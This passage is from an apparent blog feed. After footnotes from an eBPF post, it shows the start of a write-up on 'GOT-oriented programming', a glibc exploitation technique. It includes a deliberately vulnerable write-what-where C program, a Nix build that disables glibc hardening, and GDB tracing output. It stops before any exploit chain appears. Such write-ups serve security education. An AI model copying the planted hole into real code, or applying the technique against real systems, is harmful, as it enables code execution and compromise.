<p>All of the code in this blog post is dual licensed under the <a href="https://www.gnu.org/licenses/old-licenses/gpl-2.0.html#SEC1">GPLv2-only</a> and the <a href="https://creativecommons.org/licenses/by/4.0/">CC BY 4.0</a><img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg" alt="" style="max-width: 1em;max-height:1em;margin-left: .2em;display:inline;"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg" alt="" style="max-width: 1em;max-height:1em;margin-left: .2em;display:inline;">.&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>eBPF programs will normally run as interpreted bytecode, or native machine code if <code>/proc/sys/net/core/bpf_jit_enable</code> is set to 1 (it may be permanently set to 1 if your kernel was built with <code>CONFIG_BPF_JIT_ALWAYS_ON</code>). There are security implications for a system choosing to let users use the interpreter or the JIT, the nuances of which are out of scope for this post.&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Including the rather exotic <code>BPF_PROG_TYPE_LIRC_MODE2</code> for IR remotes.&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>While this was originally done to counter <a href="https://projectzero.google/2018/01/reading-privileged-memory-with-side.html">Spectre-style attacks</a>, it also has the effect of serving as a second line of defense in case an attacker is able to convince the verifier that a register is equal to some constant when it actually isn&rsquo;t.&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>This also means that if your kernel was configured with <code>CONFIG_BPF_SYSCALL</code> but <span class="underline">without</span> <code>CONFIG_DEBUG_INFO_BTF</code>, eBPF programs that require information from btf_vmlinux cannot be verified.&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[GOT-Oriented Programming]]></title>
    <link href="https://feyor.sh/blog/got-oriented-programming/"/>
    <id>https://feyor.sh/blog/got-oriented-programming/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2026-02-14T00:00:00+00:00</published>
    <updated>2026-06-17T23:08:20-07:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/blog/got-oriented-programming/"><![CDATA[<p>The other day I was working on a pwn challenge and I noticed something interesting: its version of libc had partial RELRO enabled.
To redirect control flow I tried overwriting one of libc&rsquo;s GOT entries with a one_gadget, but I didn&rsquo;t have enough register control to pop a shell.
That got me thinking: what if we could use libc&rsquo;s GOT as a sort of jump table?
This is a technique (itself a specific kind of JOP) <del>I&rsquo;d like to dub</del><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> called &ldquo;GOT-oriented programming&rdquo; (GOP).</p>
<p>The GOT overwrite attack is as old as time memoriam; clobber a GOT/PLT entry and redirect execution of a particular function to an attacker controlled address.
Developers have wised up since then and realized the cons of lazy binding GOT entries far outweigh the pros, so an option called full RELRO (<code>-z,now</code>) was implemented which disables lazy binding and makes the GOT read-only.<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>
Although you usually hear about the GOT in the context of a binary dynamically linked against glibc, glibc has its own GOT to determine at runtime the most efficient version of a function that the hardware supports (stuff like AVX optimized <kbd>memcpy</kbd>).
Because these optimized functions are somewhat common (otherwise, why bother optimizing them), there are many gadgets in libc that setup registers for a function call and then perform an indirect jump to a GOT entry.
In practice, it only takes a few of these &ldquo;GOP gadgets&rdquo; to achieve nearly full register control, and from there it&rsquo;s trivial to get a shell.</p>
<p>To be specific, the requirements for GOP are</p>
<ol>
<li>Libc compiled with partial (or no) RELRO (for Ubuntu, this is <a href="https://salsa.debian.org/glibc-team/glibc/-/commit/3db74a9f5df63f59c8ca805631082424111e4ffd">glibc &lt; 2.39</a>)</li>
<li>Libc leak to defeat ASLR (if applicable)</li>
<li>(Semi-)arbitrary write that can target libc&rsquo;s GOT</li>
<li>A function in libc&rsquo;s <code>.got.plt</code> needs to be called at some point after the corruption takes place in order to start the GOP chain</li>
</ol>
<p>I&rsquo;ve found this to be an interesting way to pivot an arbitrary write to code execution, even if it&rsquo;s not as fancy as techniques like <kbd>setcontext</kbd>, FSOP, or <kbd>_dini_handler</kbd>.
I&rsquo;ll demonstrate the power of this technique with a simplified example using glibc 2.43<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> (compiled with <code>--disable-bind-now</code>):</p>





  
  
    

  
  
    









<details open>
  
  <summary><div class="named-src">
      <span>C</span>
      <span>pwnable.c</span>
    </div>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">#include</span> <span style="color:#a8a8a8">&lt;stdint.h&gt;</span><span style="color:#a8a8a8">
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">#include</span> <span style="color:#a8a8a8">&lt;unistd.h&gt;</span><span style="color:#a8a8a8">
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">#include</span> <span style="color:#a8a8a8">&lt;stdio.h&gt;</span><span style="color:#a8a8a8">
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">#include</span> <span style="color:#a8a8a8">&lt;string.h&gt;</span><span style="color:#a8a8a8">
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>
</span></span><span style="display:flex;"><span><span style="color:#6ae4b9">int</span> <span style="color:#feacd0">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">setbuf</span>(stdout, <span style="color:#f78fe7">NULL</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">printf</span>(<span style="color:#79a8ff">&#34;puts() @ %p</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, <span style="color:#00d3d0">&amp;</span>puts);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">while</span> (<span style="color:#f78fe7">true</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#6ae4b9">uint64_t</span> data <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#6ae4b9">size_t</span> address;
</span></span><span style="display:flex;"><span>        <span style="color:#feacd0">printf</span>(<span style="color:#79a8ff">&#34;write: &#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#feacd0">read</span>(<span style="color:#00bcff">0</span>, <span style="color:#00d3d0">&amp;</span>data, <span style="color:#00bcff">8</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (<span style="color:#00d3d0">!</span><span style="color:#feacd0">strncmp</span>(<span style="color:#79a8ff">&#34;cancel&#34;</span>, (<span style="color:#6ae4b9">void</span><span style="color:#00d3d0">*</span>)<span style="color:#00d3d0">&amp;</span>data, <span style="color:#00bcff">7</span>)) <span style="color:#b6a0ff">break</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#feacd0">printf</span>(<span style="color:#79a8ff">&#34;where: &#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#feacd0">read</span>(<span style="color:#00bcff">0</span>, <span style="color:#00d3d0">&amp;</span>address, <span style="color:#00bcff">8</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">*</span>(<span style="color:#6ae4b9">uint64_t</span><span style="color:#00d3d0">*</span>)address <span style="color:#00d3d0">=</span> data;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<details >
  
  <summary><div class="named-src">
      <span>Nix</span>
      <span>flake.nix</span>
    </div>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nix" data-lang="nix"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  description <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;the best part was when he said &#34;IT&#39;S GOPPIN&#39; TIME&#34; and gopped all over those guys&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  inputs<span style="color:#00d3d0">.</span>nixpkgs<span style="color:#00d3d0">.</span>url <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;github:NixOS/nixpkgs/nixpkgs-unstable&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  outputs <span style="color:#00d3d0">=</span> { nixpkgs<span style="color:#00d3d0">,</span> <span style="color:#00d3d0">...</span> }:
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">let</span>
</span></span><span style="display:flex;"><span>      system <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;x86_64-linux&#34;</span>;
</span></span><span style="display:flex;"><span>      lib <span style="color:#00d3d0">=</span> nixpkgs<span style="color:#00d3d0">.</span>lib;
</span></span><span style="display:flex;"><span>      pkgs <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">import</span> nixpkgs { <span style="color:#b6a0ff">inherit</span> system; };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">in</span>
</span></span><span style="display:flex;"><span>      {
</span></span><span style="display:flex;"><span>        packages<span style="color:#00d3d0">.</span><span style="color:#79a8ff">${</span>system<span style="color:#79a8ff">}</span><span style="color:#00d3d0">.</span>default <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">with</span> pkgs; <span style="color:#b6a0ff">let</span>
</span></span><span style="display:flex;"><span>          glibc&#39; <span style="color:#00d3d0">=</span> stdenv<span style="color:#00d3d0">.</span>mkDerivation <span style="color:#b6a0ff">rec</span> {
</span></span><span style="display:flex;"><span>            pname <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;glibc&#34;</span>;
</span></span><span style="display:flex;"><span>            version <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;2.43&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            src <span style="color:#00d3d0">=</span> fetchurl {
</span></span><span style="display:flex;"><span>              url <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;mirror://gnu/glibc/glibc-</span><span style="color:#79a8ff">${</span>version<span style="color:#79a8ff">}</span><span style="color:#79a8ff">.tar.xz&#34;</span>;
</span></span><span style="display:flex;"><span>              hash <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;sha256-2chsa12920Oj4IJwxYRPxRd9GUQs9bjfS+fAfNX6ODE=&#34;</span>;
</span></span><span style="display:flex;"><span>            };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            nativeBuildInputs <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>              bison
</span></span><span style="display:flex;"><span>              python3Minimal
</span></span><span style="display:flex;"><span>            ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            NIX_NO_SELF_RPATH <span style="color:#00d3d0">=</span> true;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            preConfigure <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              mkdir build; cd build
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              configureScript=&#34;$(pwd)/../configure&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              export NIX_DONT_SET_RPATH=1
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            configureFlags <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>              (lib<span style="color:#00d3d0">.</span>enableFeature false <span style="color:#79a8ff">&#34;bind-now&#34;</span>)
</span></span><span style="display:flex;"><span>              (lib<span style="color:#00d3d0">.</span>enableFeature true <span style="color:#79a8ff">&#34;cet&#34;</span>)
</span></span><span style="display:flex;"><span>            ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            hardeningDisable <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>              <span style="color:#79a8ff">&#34;fortify&#34;</span>
</span></span><span style="display:flex;"><span>              <span style="color:#79a8ff">&#34;bindnow&#34;</span>
</span></span><span style="display:flex;"><span>            ];
</span></span><span style="display:flex;"><span>          };
</span></span><span style="display:flex;"><span>          gcc&#39; <span style="color:#00d3d0">=</span> wrapCCWith {
</span></span><span style="display:flex;"><span>            cc <span style="color:#00d3d0">=</span> gcc-unwrapped;
</span></span><span style="display:flex;"><span>            libc <span style="color:#00d3d0">=</span> glibc&#39;;
</span></span><span style="display:flex;"><span>            bintools <span style="color:#00d3d0">=</span> binutils<span style="color:#00d3d0">.</span>override { libc <span style="color:#00d3d0">=</span> glibc&#39;; };
</span></span><span style="display:flex;"><span>          };
</span></span><span style="display:flex;"><span>          stdenv&#39; <span style="color:#00d3d0">=</span> overrideCC stdenv gcc&#39;;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">in</span>
</span></span><span style="display:flex;"><span>          stdenv&#39;<span style="color:#00d3d0">.</span>mkDerivation {
</span></span><span style="display:flex;"><span>            name <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;pwnable&#34;</span>;
</span></span><span style="display:flex;"><span>            src <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">./.</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            env <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>              NIX_CFLAGS_COMPILE <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;-fcf-protection=full&#34;</span>;
</span></span><span style="display:flex;"><span>              NIX_LDFLAGS <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;-z cet-report=error&#34;</span>;
</span></span><span style="display:flex;"><span>            };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            buildPhase <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;$CC pwnable.c -o pwnable&#34;</span>;
</span></span><span style="display:flex;"><span>            installPhase <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;mv pwnable $out&#34;</span>;
</span></span><span style="display:flex;"><span>          };
</span></span><span style="display:flex;"><span>      };
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>To start, we should investigate what functions are in glibc&rsquo;s GOT:</p>
<figure><img src="https://feyor.sh/blog/got-oriented-programming/binja.jpg">
</figure>

<p>Next, let&rsquo;s investigate which of the above functions are called throughout the program.
Nothing is called as part of glibc&rsquo;s <kbd>exit</kbd> routine, but what about in the core loop?</p>





  
  
    

  
  
    









<details open>
  
  <summary>GDB</summary>
  
  </summary>
  <pre tabindex="0"><code class="language-gdb-script" data-lang="gdb-script">start
# first printf
tb *main+148
c
record btrace
set record btrace bts buffer-size unlimited
# second printf
tb *main+94
c
set record function-call-history-size unlimited
record function-call-history /c</code></pre>
</details>






  
  
    

  
  
    









<div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-1"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-1"> 1</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-2"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-2"> 2</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-3"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-3"> 3</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-4"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-4"> 4</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-5"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-5"> 5</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-6"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-6"> 6</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-7"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-7"> 7</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-8"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-8"> 8</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-9"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-9"> 9</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-10"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-10">10</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-11"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-11">11</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-12"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-12">12</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-13"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-13">13</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-14"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-14">14</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-15"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-15">15</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-16"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-16">16</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-17"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-17">17</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-18"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-18">18</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-19"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-19">19</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-20"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-20">20</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-21"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-21">21</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-22"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-22">22</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-23"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-23">23</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-24"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-24">24</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-25"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-25">25</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-26"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-26">26</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-27"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-27">27</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-28"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-28">28</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-29"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-29">29</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-30"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-30">30</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-31"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-31">31</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-32"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-32">32</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-33"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-33">33</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-34"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-34">34</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-35"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-35">35</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-36"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-36">36</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-37"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-37">37</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-38"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-38">38</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-39"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-39">39</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-40"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-40">40</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-41"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-41">41</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-42"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-42">42</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-43"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-43">43</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-44"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-44">44</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-45"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-45">45</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-46"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-46">46</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-47"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-47">47</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-48"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-48">48</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-49"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-49">49</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--2ebd36-50"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--2ebd36-50">50</a>
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>main
</span></span><span style="display:flex;"><span>  __printf_chk@plt
</span></span><span style="display:flex;"><span>    __printf_chk
</span></span><span style="display:flex;"><span>      __vfprintf_internal
</span></span><span style="display:flex;"><span>        __printf_buffer_to_file_init
</span></span><span style="display:flex;"><span>          __printf_buffer_to_file_switch
</span></span><span style="display:flex;"><span>      __vfprintf_internal
</span></span><span style="display:flex;"><span>        __printf_buffer
</span></span><span style="display:flex;"><span>          *ABS*+0xb0140@plt
</span></span><span style="display:flex;"><span>            __strchrnul_avx2_rtm
</span></span><span style="display:flex;"><span>        __printf_buffer
</span></span><span style="display:flex;"><span>          __printf_buffer_write
</span></span><span style="display:flex;"><span>            *ABS*+0xae6a0@plt
</span></span><span style="display:flex;"><span>              __memmove_avx_unaligned_erms_rtm
</span></span><span style="display:flex;"><span>          __printf_buffer_write
</span></span><span style="display:flex;"><span>        __printf_buffer
</span></span><span style="display:flex;"><span>      __vfprintf_internal
